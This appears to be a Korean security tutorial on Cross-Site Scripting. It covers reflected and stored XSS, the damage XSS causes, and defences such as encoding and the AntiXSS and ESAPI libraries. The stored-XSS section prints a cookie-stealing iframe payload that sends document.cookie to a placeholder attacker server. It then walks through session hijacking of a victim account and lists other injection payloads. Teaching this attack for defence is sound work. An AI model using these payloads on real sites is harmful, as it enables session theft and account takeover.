Cross-Site Scripting (XSS)

1. XSS 개념

2. XSS 종류

3. XSS 공격의 피해

4. XSS 대응 방안

---

1. XSS 개념

 

[그림 1] XSS의 개념

XSS는 웹 애플리케이션에서 많이 나타나는 취약점의 하나로 웹사이트 관리자가 아닌 이가 웹 페이지에 악성 스크립트를 삽입할 수 있는 취약점이다. 주로 여러 사용자가 보게 되는 전자 게시판에 악성 스크립트가 담긴 글을 올리는 형태로 이루어진다. 이 취약점은 웹 애플리케이션이 사용자로부터 입력 받은 값을 제대로 검사하지 않고 사용할 경우 나타난다. 이 취약점으로 해커가 사용자의 정보(쿠키, 세션 등)를 탈취하거나, 자동으로 비정상적인 기능을 수행할 수 있다. 주로 다른 웹사이트와 정보를 교환하는 식으로 작동하므로 Cross-Site Scripting이라고 한다.

 

[그림 2] XSS 예시

Q. Cross-Site Scripting의 약자는 왜 CSS가 아니라 XSS일까?

CSS는 Cascading Style Sheets의 약자로, 마크업 언어가 실제로 표시되는 방법을 기술하는 스타일 언어(style sheet language)이다. HTML과 같은 마크업 언어가 웹사이트의 몸체를 담당한다면 CSS는 옷과 액세서리처럼 꾸미는 역할을 담당한다고 할 수 있다. CSS라는 용어가 이미 존재하기 때문에 Cross-Site Scripting은 '가로지르다'라는 의미의 Cross에서 X를 연상하여 XSS라는 약자가 사용되고 있다.

 

2. XSS 종류

2.1. Reflected XSS (반사형)

[그림 3] Reflected XSS 개념

반사형 XSS 공격은 웹 애플리케이션의 지정된 변수를 이용할 때 발생하는 취약점을 이용하는 것으로, 검색 결과, 에러 메시지 등 서버가 외부에서 입력받은 값을 받아 브라우저에게 응답할 때 전송하는 과정에서 입력되는 변수의 위험한 문자를 사용자에게 그대로 돌려주면서 발생한다.

 

취약점을 점검할 수 있는 문자를 몇 개 실습해 보았다.

 

(1) <script>alert("XSS");</script>

[그림 4] 스크립트 삽입 후 게시물 등록

[그림 5] 게시물을 클릭했을 때 뜨는 팝업 창

 

(2) <script>alert(document.cookie);</script>

[그림 6] 스크립트 삽입 후 게시물 등록

[그림 7] 게시물을 클릭했을 때 뜨는 팝업 창

 

(3) <iframe src='https://www.nate.com/'></iframe>

 

[그림 8] 스크립트 삽입 후 게시물 등록

[그림 9] 게시물을 열람했을 때 나타나는 모습

 

2.2. Stored XSS (저장형)

[그림 10] Stored XSS 개념

저장형 XSS 공격은 웹 애플리케이션 취약점이 있는 웹 서버에 악성 스크립트를 영구적으로 저장해 놓는 방법이다. 이 때 웹 사이트의 게시판, 사용자 프로필 및 코멘트 필드 등에 악성 스크립트를 삽입해 놓으면, 사용자가 사이트를 방문하여 저장되어 있는 페이지에 정보를 요청할 때, 서버는 악성 스크립트를 사용자에게 전달하여 사용자 브라우저에서 스크립트가 실행되면서 공격한다.

 

• 로그인한 사용자의 쿠키 값 탈취 및 타 사용자 권한 획득 과정

(1) 쿠키값 탈취 스크립트 구문 예시

<iframe id="targetFrame" width=0 height=0></iframe><script>document.getElementById("targetFrame").src="http://XXX.XXX.XXX.XXX/getcookie.asp?cookie="+document.cookie;</script>

 

(2) 공격자는 타 사용자 쿠키 값을 전송받기 위해 웹 서버를 실행

- C:\Documents and Settings\kisec\바탕 화면\WebTools\04.Etc\babywebssl\babyweb.exe

[그림 11] Baby Web Server 실행

[그림 12] Setting 값

80포트로 listen하고, C:\webpages에 getcookie.asp가 생성되어 피해자가 XSS 스크립트가 포함된 게시물을 클릭했을 때 쿠키 값이 넘어가게 해준다. 

 

(3) 공격자는 악의적인 스크립트 구문을 XSS 취약점이 존재하는 게시판에 게시글 작성 완료

[그림 13] 스크립트 삽입 후 게시물 등록

 

(4) 피해자가 악의적인 스크립트에 노출되면 공격자에게 쿠키 값이 전송됨

[그림 14] Baby Web Server에 뜬 알림

[그림 14]는 피해자 IP가 XSS 스크립트가 담긴 게시물에 접속함으로써 공격자의 C:\webpages 폴더의 getcookie.asp 파일에 쿠키 값이 저장되었다는 것을 의미한다. Response : 200 OK가 의미하는 것은 요청(Request)에 대한 응답(Response)이 양호하게 이루어졌다는 것을 의미한다.

 

[그림 15] getcookie.asp 내용 확인

공격자의 C:\webpages 폴더의 xss.txt 파일에 쿠키 값이 저장되었다는 것을 알 수 있다.

 

[그림 16] xss.txt 파일에서 피해자의 쿠키 값 확인

공격자는 피해자의 쿠키 값 획득에 성공했다.

 

(5) 공격자는 받은 타 사용자의 쿠키 값으로 로그인 시도

[그림 17] 피해자의 쿠키 값으로 로그인 시도

공격자는 로그인하지 않은 사이트에서 피해자의 쿠키 값으로 수정한 후 F5를 눌러 새로고침하면 로그인에 성공한다.

 

[그림 18] 피해자의 개인정보 탈취 확인

피해자의 ID를 비롯한 회원정보를 확인할 수 있다. 

 

3. XSS 공격의 피해

3.1. 쿠키 정보/세션 ID 획득

쿠키란 웹 서버가 HTTP 헤더 중 Set-Cookie 필드로 브라우저에게 보내는 4KB 이하의 작은 텍스트 파일이며, 사용자가 웹 사이트를 이용하는 동안 사용자 브라우저에 저장된다. 사용자가 웹 사이트의 페이지를 클릭할 때마다 브라우저는 웹 서버에게 사용자의 상태를 다시 알려준다. 사용자 상태를 기록하기 위해 쿠키 값에 로그인, 버튼 클릭 등에 대한 정보를 저장한다.

세션 쿠키는 사용자가 웹사이트를 읽거나 방문하는 동안에만 임시로 메모리에 존재하는 쿠키이다. 쿠키 생성 시 쿠키 만료시기 또는 유효성 기간이 설정되어 있지 않은 경우에 세션 쿠키가 만들어진다. 브라우저에서는 사용자가 브라우저를 종료하면 세션 쿠키를 삭제한다.

웹 애플리케이션이 세션 ID를 쿠키에 포함하는 경우 XSS 공격을 통해, 클라이언트의 합법적인 세션 ID를 획득하여 불법적으로 정상 사용자로 가장할 수 있다.

 

3.2. 시스템 관리자 권한 획득

XSS 취약점을 이용하여 사용자 브라우저 취약점을 공격하여 PC를 완전히 통제할 수도 있다. 공격자는 XSS 취약점이 있는 웹 서버에 다양한 악성 데이터를 포함시켜 놓은 후, 사용자의 브라우저가 악성 데이터를 실행하는 경우 자신의 브라우저에 있는 제로데이 취약점 또는 패치되지 않은 취약점을 공격하는 공격 코드가 실행되면서 사용자 시스템을 완전히 통제할 수 있다.

 

3.3. 악성 코드 다운로드

XSS 공격은 악성 스크립트 자체만으로는 악성 프로그램을 다운로드 할 수 없지만, 사용자가 악성 스크립트가 있는 URL을 클릭하도록 유도하여 악성 프로그램을 다운로드 받는 사이트로 리다이랙트(redirect) 하거나, 트로이목마 프로그램을 다운로드하여 설치할 수 있다.

 

4. XSS 대응 방안

4.1. 입·출력 값 검증 및 무효화

XSS 취약점을 근본적으로 제거하기 위해서는 스크립트 등 해킹에 사용될 수 있는 코딩의 입력 및 출력 값에 대해서 검증하고 무효화시켜야 한다. 입력 값에 대한 유효성 검사는 데이터가 입력되기 전에 입력 데이터에 대한 길이, 문자, 형식 및 사업적 규칙 유효성을 검사해야 한다.

 

(1) 입력 값 검증

- 사용자가 입력한 값에 위험성이 존재하지 않는지 검증

   => 데이터의 길이가 너무 길지 않아야 함

   => 데이터는 오직 제한된 문자로 구성돼야 함

   => 데이터는 특정한 규칙 표현과 서로 일치해야 함

- 애플리케이션의 각 필드에 입력 예상 값의 특성에 따라 검증 규칙이 가능한 한 엄격하게 적용

 

(2) 출력 값 검증

- 스크립트 실행을 막는 출력 값 조치

   => 입력 데이터를 HTML 인코딩 (문자 그대로의 알파벳 문자를 그에 맞는 HTML 개체로 교체)

   => 인코딩 된 악의적 문자 → 문서 내용의 한 부분으로 인식 → 안전하게 제어

- XSS 공격에 사용되는 특수문자 사용을 제한하고, Server Side에서 검증 수행

HTML 문자열	인코딩 된 문자열	HTML 문자열	인코딩 된 문자열
<	&lt;	#	&#35;
>	&gt;	&	&amp;
(	&#40;	"	&#quot;
)	&#41;	'	&#apos;
/	&#47;	\	&#92;
*	&#42;	%	&#37;
:	&#59;	Line Feed	&#10;

 

(3) 위험성 있는 삽입 지점 제거

- 공격자의 응답 인코딩 유형 조작 → 출력 값 검증 우회 위험

공격자가 따옴표 문자 안에 직접 자바스크립트 명령 삽입 예

<img src="userdata"> <img src="kisec.gif" onload="userdata"> <input type="text" name="username" onfocus="userdata">

<img src="javascript&#58;alert(document.cookie)"> <img src="kisec.gif" onload="alert(&apos;XSS&apos;)">

- 응답 헤더의 모든 곳에서 공격자가 수정할 수 있는 모든 여지 차단

- 직접 인코딩 유형 지정

   ex) Content-Type: test/html; charset=ISO-8859-1

 

4.2. 보안 라이브러리

(1) AntiXSS 라이브러리
- AntiXSS 라이브러리는 ASP.net 애플리케이션 개발환경에서 사용

- AntiXSS의 XSS 예방 인코딩 메소드

메소드	사용처	코딩 예
HtmlEncode	신뢰할 수 없는 데이터가 HTML 바디 부분에 출력되는 경우	<span>[악성 데이터]</span> <p>Hello [악성 데이터]</p>
HtmlAttrEncode	HTML 속성(attributes)에 신뢰할 수 없는 데이터를 추가해야 하는 경우	<input type="text" name="frame" value="[악성 데이터]"> <p id="[악성 데이터]"></p>
UrlQueryEncode	URL 내에 쿼리 문자열 값에 신뢰할 수 없는 데이터를 추가해야 하는 경우	<a href="/site/search?value=[악성 데이터]"> clickme</a> JavaScriptEncode
JavaScriptEncode	신뢰할 수 없는 데이터를 자바스크립트 변수에 지정할 경우	<script>var currentValue='[악성 데이터]';</script> <script>someFunction('[악성 데이터]');</script>
XmlEncode	XML 데이터 부분에 신뢰할 수 없는 데이터를 출력하는 경우	<name>[악성 데이터]</name>
XmlAttrEncode	XML 속성 값에 신뢰할 수 없는 데이터를 추가해야 하는 경우	<name firstName="[악성 데이터]"></name>
GetSafeHtml	HTML 바디에 신뢰할 수 없는 HTML을 출력하는 경우	<div>[악성 HTML]</div>

 

(2) OWASP ESAPI 라이브러리

- EASPI에는 총 14개의 API가 있으며, 이 중 XSS 취약점을 예방하기 위한 API는 validator와 encoder

- JAVA, PHP, .NET, ASP, JAVA Script, Python 등 다양한 애플리케이션 개발 언어를 지원